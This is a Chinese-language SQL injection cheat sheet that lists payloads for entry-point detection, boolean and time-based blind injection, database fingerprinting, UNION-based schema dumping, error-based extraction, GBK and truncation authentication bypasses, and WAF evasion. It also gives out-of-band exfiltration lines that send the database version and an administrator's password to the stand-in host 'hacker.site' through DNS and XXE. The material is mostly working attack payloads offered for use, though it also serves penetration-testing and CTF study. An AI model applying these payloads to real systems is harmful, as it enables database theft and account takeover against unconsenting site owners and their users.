备忘单

介绍

SQL 注入是一种允许攻击者干扰应用程序对其数据库查询的一种攻击, 通常这种攻击允许我们查看其他一些数据库数据 (比如:其他用户账号或者其他数据), 在很多情况下,我们希望可以修改或删除此数据,从而导致应用程序的内容或行为的更改

:::info 当我们尝试 SQL 注入时,我们首先应当利用 入口点检测的各个字符来修复我们的 SQL 查询语句,当然仅仅利用此我们并不会知道我们是否修复成功,我们还需要使用 逻辑运算符时间来帮助我们确定我们的 SQL 语句是否被修补成功, 一旦我们修补成功我们就应该确定数据库的类型

:::

入口点检测

当我们意识到 SQL 注入漏洞时,应该先探索处一种方式以在不破坏查询的情况下,注入我们的查询语句

  1. [Nothing]
  2. '
  3. "
  4. `
  5. ')
  6. ")
  7. `)
  8. '))
  9. "))
  10. `))
  11. # 后加注释

一旦我们修复了查询,我们就可以开始着手于修改数据了

注释

  1. MySQL
  2. #comment
  3. -- comment # 注意 -- 后有一个空格
  4. /*comment*/
  5. /*! MYSQL 特殊 SQL */
  6. PostgreSQL
  7. --comment
  8. /*comment*/
  9. MSQL
  10. --comment
  11. /*comment*/
  12. Oracle
  13. --comment
  14. SQLite
  15. --comment
  16. /*comment*/
  17. HQL
  18. HQL 不支持注释

逻辑运算确认

我们可以利用 SQL 的逻辑操作来修补 SQL 语句的执行.

我们可能执行的语句为: SELECT id, password FROM user where id=$(id) and pass=$(pass)

  1. page.asp?id=1 or 1=1 -- true
  2. page.asp?id=1' or 1=1 -- true
  3. page.asp?id=1" or 1=1 -- true
  4. page.asp?id=1 and 1=2 -- false

常用的测试表:

sqli-logic.txt

时间确认

在某些情况下,我们的页面可能没有任何变化,这时候我们需要进行 SQL 盲注,来让数据库执行操作

  1. MySQL (string concat and logical ops)
  2. 1' + sleep(10)
  3. 1' and sleep(10)
  4. 1' && sleep(10)
  5. 1' | sleep(10)
  6. PostgreSQL (only support string concat)
  7. 1' || pg_sleep(10)
  8. MSQL
  9. 1' WAITFOR DELAY '0:0:10'
  10. Oracle
  11. 1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
  12. 1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
  13. SQLite
  14. 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
  15. 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

有写情况下,查询并不运行,但是我们可以让查询进行几秒的复杂操作,而不是使用这些函数

识别数据库

我们可以执行数据库的特定功能来进行识别

  1. ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
  2. ["connection_id()=connection_id()" ,"MYSQL"],
  3. ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
  4. ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
  5. ["@@CONNECTIONS>0" ,"MSSQL"],
  6. ["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
  7. ["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
  8. ["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
  9. ["ROWNUM=ROWNUM" ,"ORACLE"],
  10. ["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
  11. ["LNNVL(0=123)" ,"ORACLE"],
  12. ["5::int=5" ,"POSTGRESQL"],
  13. ["5::integer=5" ,"POSTGRESQL"],
  14. ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
  15. ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
  16. ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
  17. ["current_database()=current_database()" ,"POSTGRESQL"],
  18. ["sqlite_version()=sqlite_version()" ,"SQLITE"],
  19. ["last_insert_rowid()>1" ,"SQLITE"],
  20. ["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
  21. ["val(cvar(1))=1" ,"MSACCESS"],
  22. ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
  23. ["cdbl(1)=cdbl(1)" ,"MSACCESS"],
  24. ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
  25. ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

利用 union

检测列数

如果我们可以看到查询输出,这就是我们利用的最佳方式, 但是首先我们需要找出初始请求的返回列数, 这是因为 union 查询要求两者返回相同数量的列

Order/Group by:

  1. 1' ORDER BY 1--+ #True
  2. 1' ORDER BY 2--+ #True
  3. 1' ORDER BY 3--+ #True
  4. 1' ORDER BY 4--+ #False - Query is only using 3 columns
  5. #-1' UNION SELECT 1,2,3--+ True
  6. 1' GROUP BY 1--+ #True
  7. 1' GROUP BY 2--+ #True
  8. 1' GROUP BY 3--+ #True
  9. 1' GROUP BY 4--+ #False - Query is only using 3 columns
  10. #-1' UNION SELECT 1,2,3--+ True
  • Order by : 是用于对检索的结果进行排序,我们需要使用指定排序的字段名称,因此当指定不存在的字段时会报错
  • Group by : 是用于对 检索的结果进行分组, 因此当指定了不存在列时会报错

Union:

使用 NULL 值进行查询,直到查询正确:

  1. 1' UNION SELECT null-- - Not working
  2. 1' UNION SELECT null,null-- - Not working
  3. 1' UNION SELECT null,null,null-- - Worked

查询数据库名 表名 列名

  1. #Database names
  2. -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
  3. #Tables of a database
  4. -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
  5. #Column names
  6. -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

错误信息

有时候我们可以看到报错信息,我们可以修改查询,以此来从数据库报错中获取信息

  1. (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

盲注

这种情况下我们查看不到结果,到那时我们可以区分出查询最终返回的响应为真还是假

  1. ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

利用报错盲注

当我们利用一些特殊的函数时,经过构造会产生一个报错内容,当这个内容可以被返回时就会产生这个漏洞

  1. AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

利用时间盲注

我们可以根据页面的上下文来区分查询的先赢,但是如果猜测字符正确,我们可以延长 SQL 执行时间来

  1. 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

堆叠查询

我们可以时堆叠查询来连续执行多个查询, 请注意在后续查询时, 结果不会返回到应用程序,因此该技术主要解决盲注, 我们可以使用第二个查询来触发 DNS查询 条件错误 时间延迟

Oracle不支持堆叠查询。MySQL、MicrosoftPostgreSQL支持它们:QUERY-1-HERE; QUERY-2-HERE

OAST 技术

如果没有其他利用方法有效,您可以尝试让数据库将信息过滤到您控制的外部主机。例如,通过 DNS 查询:

  1. select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

利用 XXE 进行带外数据泄露

  1. a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

认证绕过

登陆绕过列表.txt

GBK 认证绕过

如果 ‘ 被转义,你可以使用 %A8%27,当 ‘ 被转义时,它将被创建:0xA80x5c0x27 ( ╘’ )

  1. %A8%27 OR 1=1;-- 2
  2. %8C%A8%27 OR 1=1-- 2
  3. %bf' or 1=1 -- --

插入语句

修改现有对象/用户的密码

当数据库中存在一个用户 admin时我们可以考虑创建一个 admin的对象来尝试登陆,并修改我们的密码如果存在漏洞那么我们应该会修改掉 admin用户密码

SQL截断攻击

如果数据库易受攻击别且限制了用户名最大字符数为 30,当我们想模拟用户 admin 时我们可以尝试考虑创建一个名为 admin [30 space] a的用户名和密码.

数据库路检查引入的用户名是否存在于数据库中,,如果不存在,就会将用户名削减到允许的最大字符数比如 admin [space]并且会自动删除最后的空格,最后会在数据库中更新用户 admin的密码

PS : 在最新的 MYSQL 中这种插入将失效,因为当尝试插入比字段长度长的字符串将导致错误

WAF 旁路

无空格绕过

No Space (%20)

  1. ?id=1%09and%091=1%09--
  2. ?id=1%0Dand%0D1=1%0D--
  3. ?id=1%0Cand%0C1=1%0C--
  4. ?id=1%0Band%0B1=1%0B--
  5. ?id=1%0Aand%0A1=1%0A--
  6. ?id=1%A0and%A01=1%A0--

使用注释:

  1. ?id=1/*comment*/and/**/1=1/**/--

使用括号绕过:

  1. ?id=(1)and(1)=(1)--

无逗号绕过

  1. LIMIT 0,1 -> LIMIT 1 OFFSET 0
  2. SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
  3. SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

通用

使用关键字黑名单

  1. ?id=1 AND 1=1#
  2. ?id=1 AnD 1=1#
  3. ?id=1 aNd 1=1#

使用等效运算符

  1. AND -> && -> %26%26
  2. OR -> || -> %7C%7C
  3. = -> LIKE,REGEXP,RLIKE, not < and not >
  4. > X -> not between 0 and X
  5. WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

科学计数法绕过

  1. -1' or 1.e(1) or '1'='1
  2. -1' or 1337.1337e1 or '1'='1
  3. ' or 1.e('')=

绕过列名限制

如果原始查询和我们要从中提取的表使用相同数量的列,我们可以使用 0 UNION SELECT * FROM flag

也可以使用如下查询表的第三列,而不使用其名称 SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

  1. # This is an example with 3 columns that will extract the column number 3
  2. -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

利用逗号

  1. # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
  2. -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

暴力检测表

Auto_Wordlists/sqli.txt at main · carlospolop/Auto_Wordlists